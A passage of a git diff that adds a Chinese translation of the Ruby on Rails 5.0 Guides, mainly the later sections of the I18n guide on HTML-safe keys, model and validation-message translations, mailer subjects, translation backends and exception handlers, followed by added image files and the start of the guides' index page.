+I18n.t :foo, locale: :de
+I18n.l Time.now, locale: :de
+
+
+
+

I18n.locale 的默认值是 I18n.default_locale ,而 I18n.default_locale 的默认值是 :en。可以像下面这样设置默认区域:

+
+I18n.default_locale = :de
+
+
+
+

4.4 使用安全 HTML 翻译

带有 '_html' 后缀的键和名为 'html' 的键被认为是 HTML 安全的。当我们在视图中使用这些键时,HTML 不会被转义。

+
+# config/locales/en.yml
+en:
+  welcome: <b>welcome!</b>
+  hello_html: <b>hello!</b>
+  title:
+    html: <b>title!</b>
+
+
+
+
+
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+
+
+
+

不过插值是会被转义的。例如,对于:

+
+en:
+  welcome_html: "<b>Welcome %{username}!</b>"
+
+
+
+

我们可以安全地传递用户设置的用户名:

+
+<%# This is safe, it is going to be escaped if needed. %>
+<%= t('welcome_html', username: @current_user.username) %>
+
+
+
+

另一方面,安全字符串是逐字插入的。

只有 translate 视图辅助方法支持 HTML 安全翻译文本的自动转换。

demo html safe

4.5 Active Record 模型的翻译

我们可以使用 Model.model_name.humanModel.human_attribute_name(attribute) 方法,来透明地查找模型名和属性名的翻译。

例如,当我们添加了下述翻译:

+
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # 会把 User 的属性 "login" 翻译为 "Handle"
+
+
+
+

User.model_name.human 会返回 "Dude",而 User.human_attribute_name("login") 会返回 "Handle"

我们还可以像下面这样为模型名添加复数形式:

+
+en:
+  activerecord:
+    models:
+      user:
+        one: Dude
+        other: Dudes
+
+
+
+

这时 User.model_name.human(count: 2) 会返回 "Dudes",而 User.model_name.human(count: 1)User.model_name.human 会返回 "Dude"

要想访问模型的嵌套属性,我们可以在翻译文件的模型层级中嵌套使用“模型/属性”:

+
+en:
+  activerecord:
+    attributes:
+      user/gender:
+        female: "Female"
+        male: "Male"
+
+
+
+

这时 User.human_attribute_name("gender.female") 会返回 "Female"

如果我们使用的类包含了 ActiveModel,而没有继承自 ActiveRecord::Base,我们就应该用 activemodel 替换上述例子中键路径中的 activerecord

4.5.1 错误消息的作用域

Active Record 验证的错误消息翻译起来很容易。Active Record 提供了一些用于放置消息翻译的命名空间,以便为不同的模型、属性和验证提供不同的消息和翻译。当然 Active Record 也考虑到了单表继承问题。

这就为根据应用需求灵活调整信息,提供了非常强大的工具。

假设 User 模型对 name 属性进行了验证:

+
+class User < ApplicationRecord
+  validates :name, presence: true
+end
+
+
+
+

此时,错误信息的键是 :blank。Active Record 会在命名空间中查找这个键:

+
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+
+
+
+

因此,在本例中,Active Record 会按顺序查找下列键,并返回第一个结果:

+
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+
+
+
+

如果模型使用了继承,Active Record 还会在继承链中查找消息。

例如,对于继承自 User 模型的 Admin 模型:

+
+class Admin < User
+  validates :name, presence: true
+end
+
+
+
+

Active Record 会按下列顺序查找消息:

+
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+
+
+
+

这样,我们就可以在模型继承链的不同位置,以及属性、模型或默认作用域中,为各种错误消息提供特殊翻译。

4.5.2 错误消息的插值

翻译后的模型名、属性名,以及值,始终可用于插值。

因此,举例来说,我们可以用 "Please fill in your %{attribute}" 这样的属性名来代替默认的 "cannot be blank" 错误信息。

count 方法可用时,可根据需要用于复数转换:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
验证选项信息插值
confirmation-:confirmationattribute
acceptance-:accepted-
presence-:blank-
absence-:present-
length:within, :in:too_shortcount
length:within, :in:too_longcount
length:is:wrong_lengthcount
length:minimum:too_shortcount
length:maximum:too_longcount
uniqueness-:taken-
format-:invalid-
inclusion-:inclusion-
exclusion-:exclusion-
associated-:invalid-
numericality-:not_a_number-
numericality:greater_than:greater_thancount
numericality:greater_than_or_equal_to:greater_than_or_equal_tocount
numericality:equal_to:equal_tocount
numericality:less_than:less_thancount
numericality:less_than_or_equal_to:less_than_or_equal_tocount
numericality:other_than:other_thancount
numericality:only_integer:not_an_integer-
numericality:odd:odd-
numericality:even:even-
+
4.5.3 为 Active Record 的 error_messages_for 辅助方法添加翻译

在使用 Active Record 的 error_messages_for 辅助方法时,我们可以为其添加翻译。

Rails 自带以下翻译:

+
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this %{model} from being saved"
+          other: "%{count} errors prohibited this %{model} from being saved"
+        body:    "There were problems with the following fields:"
+
+
+
+

要想使用 error_messages_for 辅助方法,我们需要在 Gemfile 中添加一行 gem 'dynamic_form',还要安装 DynamicForm gem。

4.6 Action Mailer 电子邮件主题的翻译

如果没有把主题传递给 mail 方法,Action Mailer 会尝试在翻译中查找主题。查找时会使用 <mailer_scope>.<action_name>.subject 形式来构造键。

+
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    #...
+  end
+end
+
+
+
+
+
+en:
+  user_mailer:
+    welcome:
+      subject: "Welcome to Rails Guides!"
+
+
+
+

要想把参数用于插值,可以在调用邮件程序时使用 default_i18n_subject 方法。

+
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    mail(to: user.email, subject: default_i18n_subject(user: user.name))
+  end
+end
+
+
+
+
+
+en:
+  user_mailer:
+    welcome:
+      subject: "%{user}, welcome to Rails Guides!"
+
+
+
+

4.7 提供 I18n 支持的其他内置方法概述

在 Rails 中,我们会使用固定字符串和其他本地化元素,例如,在一些辅助方法中使用的格式字符串和其他格式信息。本小节提供了简要概述。

4.7.1 Action View 辅助方法
+
    +
  • distance_of_time_in_words 辅助方法翻译并以复数形式显示结果,同时插入秒、分钟、小时的数值。更多介绍请参阅 datetime.distance_in_words

  • +
  • datetime_selectselect_month 辅助方法使用翻译后的月份名称来填充生成的 select 标签。更多介绍请参阅 date.month_namesdatetime_select 辅助方法还会从 date.order 中查找 order 选项(除非我们显式传递了 order 选项)。如果可能,所有日期选择辅助方法在翻译提示信息时,都会使用 datetime.prompts 作用域中的翻译。

  • +
  • number_to_currencynumber_with_precisionnumber_to_percentagenumber_with_delimiternumber_to_human_size 辅助方法使用 number 作用域中的数字格式设置。

  • +
+
4.7.2 Active Model 方法
+
    +
  • model_name.humanhuman_attribute_name 方法会使用 activerecord.models 作用域中可用的模型名和属性名的翻译。像错误消息的作用域中介绍的那样,这两个方法也支持继承的类名的翻译(例如,用于 STI)。

  • +
  • ActiveModel::Errors#generate_message 方法(在 Active Model 验证时使用,也可以手动使用)会使用上面介绍的 model_name.humanhuman_attribute_name 方法。像错误消息的作用域中介绍的那样,这个方法也会翻译错误消息,并支持继承的类名的翻译。

  • +
  • ActiveModel::Errors#full_messages 方法使用分隔符把属性名添加到错误消息的开头,然后在 errors.format 中查找(默认格式为 "%{attribute} %{message}")。

  • +
+
4.7.3 Active Support 方法
+
    +
  • +Array#to_sentence 方法使用 support.array 作用域中的格式设置。
  • +
+

5 如何储存自定义翻译

Active Support 自带的简单后端,允许我们用纯 Ruby 或 YAML 格式储存翻译。[2]

通过 Ruby 散列储存翻译的示例如下:

+
+{
+  pt: {
+    foo: {
+      bar: "baz"
+    }
+  }
+}
+
+
+
+

对应的 YAML 文件如下:

+
+pt:
+  foo:
+    bar: baz
+
+
+
+

正如我们看到的,在这两种情况下,顶层的键是区域设置。:foo 是命名空间的键,:bar 是翻译 "baz" 的键。

下面是来自 Active Support 自带的 YAML 格式的翻译文件 en.yml 的“真实”示例:

+
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+
+
+
+

因此,下列查找效果相同,都会返回短日期格式 "%b %d"

+
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+
+
+
+

一般来说,我们推荐使用 YAML 作为储存翻译的格式。然而,在有些情况下,我们可能需要把 Ruby lambda 作为储存的区域设置信息的一部分,例如特殊的日期格式。

6 自定义 I18n 设置

6.1 使用不同的后端

由于某些原因,Active Support 自带的简单后端只为 Ruby on Rails 做了“完成任务所需的最少量工作”[3],这意味着只有对英语以及和英语高度类似的语言,简单后端才能保证正常工作。此外,简单后端只能读取翻译,而不能动态地把翻译储存为任何格式。

这并不意味着我们会被这些限制所困扰。Ruby I18n gem 让我们能够轻易地把简单后端替换为其他更适合实际需求的后端。例如,我们可以把简单后端替换为 Globalize 的 Static 后端:

+
+I18n.backend = Globalize::Backend::Static.new
+
+
+
+

我们还可以使用 Chain 后端,把多个后端链接在一起。当我们想要通过简单后端使用标准翻译,同时把自定义翻译储存在数据库或其他后端中时,链接多个后端的方式非常有用。例如,我们可以使用 Active Record 后端,并在需要时退回到默认的简单后端:

+
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+
+
+
+

6.2 使用不同的异常处理程序

I18n API 定义了下列异常,这些异常会在相应的意外情况发生时由后端抛出:

+
+MissingTranslationData       # 找不到键对应的翻译
+InvalidLocale                # I18n.locale 的区域设置无效(例如 nil)
+InvalidPluralizationData     # 传递了 count 参数,但翻译数据无法转换为复数形式
+MissingInterpolationArgument # 翻译所需的插值参数未传递
+ReservedInterpolationKey     # 翻译包含的插值变量名使用了保留关键字(例如,scope 或 default)
+UnknownFileType              # 后端不知道应该如何处理添加到 I18n.load_path 中的文件类型
+
+
+
+

当后端抛出上述异常时,I18n API 会捕获这些异常,把它们传递给 default_exception_handler 方法。这个方法会再次抛出除了 MissingTranslationData 之外的异常。当捕捉到 MissingTranslationData 异常时,这个方法会返回异常的错误消息字符串,其中包含了所缺少的键/作用域。

这样做的原因是,在开发期间,我们通常希望在缺少翻译时仍然渲染视图。

不过,在其他上下文中,我们可能想要改变此行为。例如,默认的异常处理程序不允许在自动化测试期间轻易捕获缺少的翻译;要改变这一行为,可以使用不同的异常处理程序。所使用的异常处理程序必需是 I18n 模块中的方法,或具有 #call 方法的类。

+
+module I18n
+  class JustRaiseExceptionHandler < ExceptionHandler
+    def call(exception, locale, key, options)
+      if exception.is_a?(MissingTranslationData)
+        raise exception.to_exception
+      else
+        super
+      end
+    end
+  end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+
+
+
+

这个例子中使用的异常处理程序只会重新抛出 MissingTranslationData 异常,并把其他异常传递给默认的异常处理程序。

不过,如果我们使用了 I18n::Backend::Pluralization 异常处理程序,则还会抛出 I18n::MissingTranslationData: translation missing: en.i18n.plural.rule 异常,而这个异常通常应该被忽略,以便退回到默认的英语区域设置的复数转换规则。为了避免这种情况,我们可以对翻译键进行附加检查:

+
+if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule'
+  raise exception.to_exception
+else
+  super
+end
+
+
+
+

默认行为不太适用的另一个例子,是 Rails 的 TranslationHelper 提供的 #t 辅助方法(和 #translate 辅助方法)。当上下文中出现了 MissingTranslationData 异常时,这个辅助方法会把错误消息放到 <span class="translation_missing"> 元素中。

不管是什么异常处理程序,这个辅助方法都能够通过设置 :raise 选项,强制 I18n#translate 方法抛出异常:

+
+I18n.t :foo, raise: true # 总是重新抛出来自后端的异常
+
+
+
+

7 结论

现在,我们已经对 Ruby on Rails 的 I18n 支持有了较为全面的了解,可以开始着手翻译自己的项目了。

如果想参加讨论或寻找问题的解答,可以注册 rails-i18n 邮件列表

8 为 Rails I18n 作贡献

I18n 是在 Ruby on Rails 2.2 中引入的,并且仍在不断发展。该项目继承了 Ruby on Rails 开发的优良传统,各种解决方案首先应用于 gem 和真实应用,然后再把其中最好和最广泛使用的部分纳入 Rails 核心。

因此,Rails 鼓励每个人在 gem 或其他库中试验新想法和新特性,并将它们贡献给社区。(别忘了在邮件列表上宣布我们的工作!)

如果在 Ruby on Rails 的示例翻译数据库中没找到想要的区域设置(语言),可以派生仓库,添加翻译数据,然后发送拉取请求

9 资源

+ +

10 作者

+ +

[1] 维基百科的定义是:“国际化是指在设计软件时,将软件与特定语言及地区脱钩的过程。当软件被移植到不同的语言及地区时,软件本身不用做内部工程上的改变或修正。本地化则是指在移植软件时,加上与特定区域设置有关的信息和翻译文件的过程。”

[2] 其他后端可能允许或要求使用其他格式,例如,GetText 后端允许读取 GetText 文件。

[3] 其中一个原因是,我们不想为不需要 I18n 支持的应用增加不必要的负载,因此对于英语,I18n 库应该尽可能保持简单。另一个原因是,为所有现存语言的 I18n 相关问题提供一揽子解决方案是不可能的。因此,一个允许被完全替换的解决方案更加合适。这样对特定功能和扩展进行试验就会更容易。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/images/akshaysurve.jpg b/v5.0/images/akshaysurve.jpg new file mode 100644 index 0000000..cfc3333 Binary files /dev/null and b/v5.0/images/akshaysurve.jpg differ diff --git a/v5.0/images/belongs_to.png b/v5.0/images/belongs_to.png new file mode 100644 index 0000000..077d237 Binary files /dev/null and b/v5.0/images/belongs_to.png differ diff --git a/v5.0/images/book_icon.gif b/v5.0/images/book_icon.gif new file mode 100644 index 0000000..efc5e06 Binary files /dev/null and b/v5.0/images/book_icon.gif differ diff --git a/v5.0/images/bullet.gif b/v5.0/images/bullet.gif new file mode 100644 index 0000000..95a2636 Binary files /dev/null and b/v5.0/images/bullet.gif differ diff --git a/v5.0/images/chapters_icon.gif b/v5.0/images/chapters_icon.gif new file mode 100644 index 0000000..a61c28c Binary files /dev/null and b/v5.0/images/chapters_icon.gif differ diff --git a/v5.0/images/check_bullet.gif b/v5.0/images/check_bullet.gif new file mode 100644 index 0000000..bd54ef6 Binary files /dev/null and b/v5.0/images/check_bullet.gif differ diff --git a/v5.0/images/credits_pic_blank.gif b/v5.0/images/credits_pic_blank.gif new file mode 100644 index 0000000..a6b335d Binary files /dev/null and b/v5.0/images/credits_pic_blank.gif differ diff --git a/v5.0/images/csrf.png b/v5.0/images/csrf.png new file mode 100644 index 0000000..a8123d4 Binary files /dev/null and b/v5.0/images/csrf.png differ diff --git a/v5.0/images/edge_badge.png b/v5.0/images/edge_badge.png new file mode 100644 index 0000000..a3c1843 Binary files /dev/null and b/v5.0/images/edge_badge.png differ diff --git a/v5.0/images/favicon.ico b/v5.0/images/favicon.ico new file mode 100644 index 0000000..87192a8 Binary files /dev/null and b/v5.0/images/favicon.ico differ diff --git a/v5.0/images/feature_tile.gif b/v5.0/images/feature_tile.gif new file mode 100644 index 0000000..5268ef8 Binary files /dev/null and b/v5.0/images/feature_tile.gif differ diff --git a/v5.0/images/footer_tile.gif b/v5.0/images/footer_tile.gif new file mode 100644 index 0000000..3fe21a8 Binary files /dev/null and b/v5.0/images/footer_tile.gif differ diff --git a/v5.0/images/fxn.png b/v5.0/images/fxn.png new file mode 100644 index 0000000..733d380 Binary files /dev/null and b/v5.0/images/fxn.png differ diff --git a/v5.0/images/getting_started/article_with_comments.png b/v5.0/images/getting_started/article_with_comments.png new file mode 100644 index 0000000..c489e4c Binary files /dev/null and b/v5.0/images/getting_started/article_with_comments.png differ diff --git a/v5.0/images/getting_started/challenge.png b/v5.0/images/getting_started/challenge.png new file mode 100644 index 0000000..5b88a84 Binary files /dev/null and b/v5.0/images/getting_started/challenge.png differ diff --git a/v5.0/images/getting_started/confirm_dialog.png b/v5.0/images/getting_started/confirm_dialog.png new file mode 100644 index 0000000..9755f58 Binary files /dev/null and b/v5.0/images/getting_started/confirm_dialog.png differ diff --git a/v5.0/images/getting_started/forbidden_attributes_for_new_article.png b/v5.0/images/getting_started/forbidden_attributes_for_new_article.png new file mode 100644 index 0000000..9f32c68 Binary files /dev/null and b/v5.0/images/getting_started/forbidden_attributes_for_new_article.png differ diff --git a/v5.0/images/getting_started/form_with_errors.png b/v5.0/images/getting_started/form_with_errors.png new file mode 100644 index 0000000..98bff37 Binary files /dev/null and b/v5.0/images/getting_started/form_with_errors.png differ diff --git a/v5.0/images/getting_started/index_action_with_edit_link.png b/v5.0/images/getting_started/index_action_with_edit_link.png new file mode 100644 index 0000000..0566a3f Binary files /dev/null and b/v5.0/images/getting_started/index_action_with_edit_link.png differ diff --git a/v5.0/images/getting_started/new_article.png b/v5.0/images/getting_started/new_article.png new file mode 100644 index 0000000..bd3ae4f Binary files /dev/null and b/v5.0/images/getting_started/new_article.png differ diff --git a/v5.0/images/getting_started/rails_welcome.png b/v5.0/images/getting_started/rails_welcome.png new file mode 100644 index 0000000..baccb11 Binary files /dev/null and b/v5.0/images/getting_started/rails_welcome.png differ diff --git a/v5.0/images/getting_started/routing_error_no_controller.png b/v5.0/images/getting_started/routing_error_no_controller.png new file mode 100644 index 0000000..ed62862 Binary files /dev/null and b/v5.0/images/getting_started/routing_error_no_controller.png differ diff --git a/v5.0/images/getting_started/routing_error_no_route_matches.png b/v5.0/images/getting_started/routing_error_no_route_matches.png new file mode 100644 index 0000000..08c54f9 Binary files /dev/null and b/v5.0/images/getting_started/routing_error_no_route_matches.png differ diff --git a/v5.0/images/getting_started/show_action_for_articles.png b/v5.0/images/getting_started/show_action_for_articles.png new file mode 100644 index 0000000..4dad704 Binary files /dev/null and b/v5.0/images/getting_started/show_action_for_articles.png differ diff --git a/v5.0/images/getting_started/template_is_missing_articles_new.png b/v5.0/images/getting_started/template_is_missing_articles_new.png new file mode 100644 index 0000000..f4f054f Binary files /dev/null and b/v5.0/images/getting_started/template_is_missing_articles_new.png differ diff --git a/v5.0/images/getting_started/unknown_action_create_for_articles.png b/v5.0/images/getting_started/unknown_action_create_for_articles.png new file mode 100644 index 0000000..fd20cd5 Binary files /dev/null and b/v5.0/images/getting_started/unknown_action_create_for_articles.png differ diff --git a/v5.0/images/getting_started/unknown_action_new_for_articles.png b/v5.0/images/getting_started/unknown_action_new_for_articles.png new file mode 100644 index 0000000..e948a51 Binary files /dev/null and b/v5.0/images/getting_started/unknown_action_new_for_articles.png differ diff --git a/v5.0/images/grey_bullet.gif b/v5.0/images/grey_bullet.gif new file mode 100644 index 0000000..3c08b15 Binary files /dev/null and b/v5.0/images/grey_bullet.gif differ diff --git a/v5.0/images/habtm.png b/v5.0/images/habtm.png new file mode 100644 index 0000000..b062bc7 Binary files /dev/null and b/v5.0/images/habtm.png differ diff --git a/v5.0/images/has_many.png b/v5.0/images/has_many.png new file mode 100644 index 0000000..79da261 Binary files /dev/null and b/v5.0/images/has_many.png differ diff --git a/v5.0/images/has_many_through.png b/v5.0/images/has_many_through.png new file mode 100644 index 0000000..858c898 Binary files /dev/null and b/v5.0/images/has_many_through.png differ diff --git a/v5.0/images/has_one.png b/v5.0/images/has_one.png new file mode 100644 index 0000000..93faa05 Binary files /dev/null and b/v5.0/images/has_one.png differ diff --git a/v5.0/images/has_one_through.png b/v5.0/images/has_one_through.png new file mode 100644 index 0000000..07dac1a Binary files /dev/null and b/v5.0/images/has_one_through.png differ diff --git a/v5.0/images/header_backdrop.png b/v5.0/images/header_backdrop.png new file mode 100644 index 0000000..72b0304 Binary files /dev/null and b/v5.0/images/header_backdrop.png differ diff --git a/v5.0/images/header_tile.gif b/v5.0/images/header_tile.gif new file mode 100644 index 0000000..6b1af15 Binary files /dev/null and b/v5.0/images/header_tile.gif differ diff --git a/v5.0/images/i18n/demo_html_safe.png b/v5.0/images/i18n/demo_html_safe.png new file mode 100644 index 0000000..9afa8eb Binary files /dev/null and b/v5.0/images/i18n/demo_html_safe.png differ diff --git a/v5.0/images/i18n/demo_localized_pirate.png b/v5.0/images/i18n/demo_localized_pirate.png new file mode 100644 index 0000000..bf8d0b5 Binary files /dev/null and b/v5.0/images/i18n/demo_localized_pirate.png differ diff --git a/v5.0/images/i18n/demo_translated_en.png b/v5.0/images/i18n/demo_translated_en.png new file mode 100644 index 0000000..e887bfa Binary files /dev/null and b/v5.0/images/i18n/demo_translated_en.png differ diff --git a/v5.0/images/i18n/demo_translated_pirate.png b/v5.0/images/i18n/demo_translated_pirate.png new file mode 100644 index 0000000..aa5618a Binary files /dev/null and b/v5.0/images/i18n/demo_translated_pirate.png differ diff --git a/v5.0/images/i18n/demo_translation_missing.png b/v5.0/images/i18n/demo_translation_missing.png new file mode 100644 index 0000000..867aa7c Binary files /dev/null and b/v5.0/images/i18n/demo_translation_missing.png differ diff --git a/v5.0/images/i18n/demo_untranslated.png b/v5.0/images/i18n/demo_untranslated.png new file mode 100644 index 0000000..2ea6404 Binary files /dev/null and b/v5.0/images/i18n/demo_untranslated.png differ diff --git a/v5.0/images/icons/README b/v5.0/images/icons/README new file mode 100644 index 0000000..09da77f --- /dev/null +++ b/v5.0/images/icons/README @@ -0,0 +1,5 @@ +Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook +icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency +from the Jimmac icons to get round MS IE and FOP PNG incompatibilities. + +Stuart Rackham diff --git a/v5.0/images/icons/callouts/1.png b/v5.0/images/icons/callouts/1.png new file mode 100644 index 0000000..c5d02ad Binary files /dev/null and b/v5.0/images/icons/callouts/1.png differ diff --git a/v5.0/images/icons/callouts/10.png b/v5.0/images/icons/callouts/10.png new file mode 100644 index 0000000..fe89f9e Binary files /dev/null and b/v5.0/images/icons/callouts/10.png differ diff --git a/v5.0/images/icons/callouts/11.png b/v5.0/images/icons/callouts/11.png new file mode 100644 index 0000000..3b7b931 Binary files /dev/null and b/v5.0/images/icons/callouts/11.png differ diff --git a/v5.0/images/icons/callouts/12.png b/v5.0/images/icons/callouts/12.png new file mode 100644 index 0000000..7b95925 Binary files /dev/null and b/v5.0/images/icons/callouts/12.png differ diff --git a/v5.0/images/icons/callouts/13.png b/v5.0/images/icons/callouts/13.png new file mode 100644 index 0000000..4b99fe8 Binary files /dev/null and b/v5.0/images/icons/callouts/13.png differ diff --git a/v5.0/images/icons/callouts/14.png b/v5.0/images/icons/callouts/14.png new file mode 100644 index 0000000..4274e65 Binary files /dev/null and b/v5.0/images/icons/callouts/14.png differ diff --git a/v5.0/images/icons/callouts/15.png b/v5.0/images/icons/callouts/15.png new file mode 100644 index 0000000..70e4bba Binary files /dev/null and b/v5.0/images/icons/callouts/15.png differ diff --git a/v5.0/images/icons/callouts/2.png b/v5.0/images/icons/callouts/2.png new file mode 100644 index 0000000..8c57970 Binary files /dev/null and b/v5.0/images/icons/callouts/2.png differ diff --git a/v5.0/images/icons/callouts/3.png b/v5.0/images/icons/callouts/3.png new file mode 100644 index 0000000..57a33d1 Binary files /dev/null and b/v5.0/images/icons/callouts/3.png differ diff --git a/v5.0/images/icons/callouts/4.png b/v5.0/images/icons/callouts/4.png new file mode 100644 index 0000000..f061ab0 Binary files /dev/null and b/v5.0/images/icons/callouts/4.png differ diff --git a/v5.0/images/icons/callouts/5.png b/v5.0/images/icons/callouts/5.png new file mode 100644 index 0000000..b4de02d Binary files /dev/null and b/v5.0/images/icons/callouts/5.png differ diff --git a/v5.0/images/icons/callouts/6.png b/v5.0/images/icons/callouts/6.png new file mode 100644 index 0000000..0e055ee Binary files /dev/null and b/v5.0/images/icons/callouts/6.png differ diff --git a/v5.0/images/icons/callouts/7.png b/v5.0/images/icons/callouts/7.png new file mode 100644 index 0000000..5ead87d Binary files /dev/null and b/v5.0/images/icons/callouts/7.png differ diff --git a/v5.0/images/icons/callouts/8.png b/v5.0/images/icons/callouts/8.png new file mode 100644 index 0000000..cb99545 Binary files /dev/null and b/v5.0/images/icons/callouts/8.png differ diff --git a/v5.0/images/icons/callouts/9.png b/v5.0/images/icons/callouts/9.png new file mode 100644 index 0000000..0ac0360 Binary files /dev/null and b/v5.0/images/icons/callouts/9.png differ diff --git a/v5.0/images/icons/caution.png b/v5.0/images/icons/caution.png new file mode 100644 index 0000000..7227b54 Binary files /dev/null and b/v5.0/images/icons/caution.png differ diff --git a/v5.0/images/icons/example.png b/v5.0/images/icons/example.png new file mode 100644 index 0000000..de23c0a Binary files /dev/null and b/v5.0/images/icons/example.png differ diff --git a/v5.0/images/icons/home.png b/v5.0/images/icons/home.png new file mode 100644 index 0000000..24149d6 Binary files /dev/null and b/v5.0/images/icons/home.png differ diff --git a/v5.0/images/icons/important.png b/v5.0/images/icons/important.png new file mode 100644 index 0000000..dafcf0f Binary files /dev/null and b/v5.0/images/icons/important.png differ diff --git a/v5.0/images/icons/next.png b/v5.0/images/icons/next.png new file mode 100644 index 0000000..355b329 Binary files /dev/null and b/v5.0/images/icons/next.png differ diff --git a/v5.0/images/icons/note.png b/v5.0/images/icons/note.png new file mode 100644 index 0000000..08d35a6 Binary files /dev/null and b/v5.0/images/icons/note.png differ diff --git a/v5.0/images/icons/prev.png b/v5.0/images/icons/prev.png new file mode 100644 index 0000000..ea564c8 Binary files /dev/null and b/v5.0/images/icons/prev.png differ diff --git a/v5.0/images/icons/tip.png b/v5.0/images/icons/tip.png new file mode 100644 index 0000000..d834e6d Binary files /dev/null and b/v5.0/images/icons/tip.png differ diff --git a/v5.0/images/icons/up.png b/v5.0/images/icons/up.png new file mode 100644 index 0000000..379f004 Binary files /dev/null and b/v5.0/images/icons/up.png differ diff --git a/v5.0/images/icons/warning.png b/v5.0/images/icons/warning.png new file mode 100644 index 0000000..72a8a5d Binary files /dev/null and b/v5.0/images/icons/warning.png differ diff --git a/v5.0/images/nav_arrow.gif b/v5.0/images/nav_arrow.gif new file mode 100644 index 0000000..ff08181 Binary files /dev/null and b/v5.0/images/nav_arrow.gif differ diff --git a/v5.0/images/oscardelben.jpg b/v5.0/images/oscardelben.jpg new file mode 100644 index 0000000..9f3f67c Binary files /dev/null and b/v5.0/images/oscardelben.jpg differ diff --git a/v5.0/images/polymorphic.png b/v5.0/images/polymorphic.png new file mode 100644 index 0000000..a3cbc45 Binary files /dev/null and b/v5.0/images/polymorphic.png differ diff --git a/v5.0/images/radar.png b/v5.0/images/radar.png new file mode 100644 index 0000000..421b62b Binary files /dev/null and b/v5.0/images/radar.png differ diff --git a/v5.0/images/rails4_features.png b/v5.0/images/rails4_features.png new file mode 100644 index 0000000..b3bd5ef Binary files /dev/null and b/v5.0/images/rails4_features.png differ diff --git a/v5.0/images/rails_guides_kindle_cover.jpg b/v5.0/images/rails_guides_kindle_cover.jpg new file mode 100644 index 0000000..f068bd9 Binary files /dev/null and b/v5.0/images/rails_guides_kindle_cover.jpg differ diff --git a/v5.0/images/rails_guides_logo.gif b/v5.0/images/rails_guides_logo.gif new file mode 100644 index 0000000..f7149a0 Binary files /dev/null and b/v5.0/images/rails_guides_logo.gif differ diff --git a/v5.0/images/rails_logo_remix.gif b/v5.0/images/rails_logo_remix.gif new file mode 100644 index 0000000..58960ee Binary files /dev/null and b/v5.0/images/rails_logo_remix.gif differ diff --git a/v5.0/images/session_fixation.png b/v5.0/images/session_fixation.png new file mode 100644 index 0000000..ac3ab01 Binary files /dev/null and b/v5.0/images/session_fixation.png differ diff --git a/v5.0/images/tab_grey.gif b/v5.0/images/tab_grey.gif new file mode 100644 index 0000000..995adb7 Binary files /dev/null and b/v5.0/images/tab_grey.gif differ diff --git a/v5.0/images/tab_info.gif b/v5.0/images/tab_info.gif new file mode 100644 index 0000000..e9dd164 Binary files /dev/null and b/v5.0/images/tab_info.gif differ diff --git a/v5.0/images/tab_note.gif b/v5.0/images/tab_note.gif new file mode 100644 index 0000000..f9b546c Binary files /dev/null and b/v5.0/images/tab_note.gif differ diff --git a/v5.0/images/tab_red.gif b/v5.0/images/tab_red.gif new file mode 100644 index 0000000..0613093 Binary files /dev/null and b/v5.0/images/tab_red.gif differ diff --git a/v5.0/images/tab_yellow.gif b/v5.0/images/tab_yellow.gif new file mode 100644 index 0000000..39a3c2d Binary files /dev/null and b/v5.0/images/tab_yellow.gif differ diff --git a/v5.0/images/tab_yellow.png b/v5.0/images/tab_yellow.png new file mode 100644 index 0000000..3ab1c56 Binary files /dev/null and b/v5.0/images/tab_yellow.png differ diff --git a/v5.0/images/vijaydev.jpg b/v5.0/images/vijaydev.jpg new file mode 100644 index 0000000..fe5e4f1 Binary files /dev/null and b/v5.0/images/vijaydev.jpg differ diff --git a/v5.0/index.html b/v5.0/index.html new file mode 100644 index 0000000..19cbb61 --- /dev/null +++ b/v5.0/index.html @@ -0,0 +1,384 @@ + + + + + + + +Ruby on Rails Guides + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 指南 (v5.0.1)

+ +

+ 这是 Rails 5.0 的最新指南,基于 v5.0.1。 + 这份指南旨在使您立即获得 Rails 的生产力,并帮助您了解所有组件如何组合在一起。 +

+

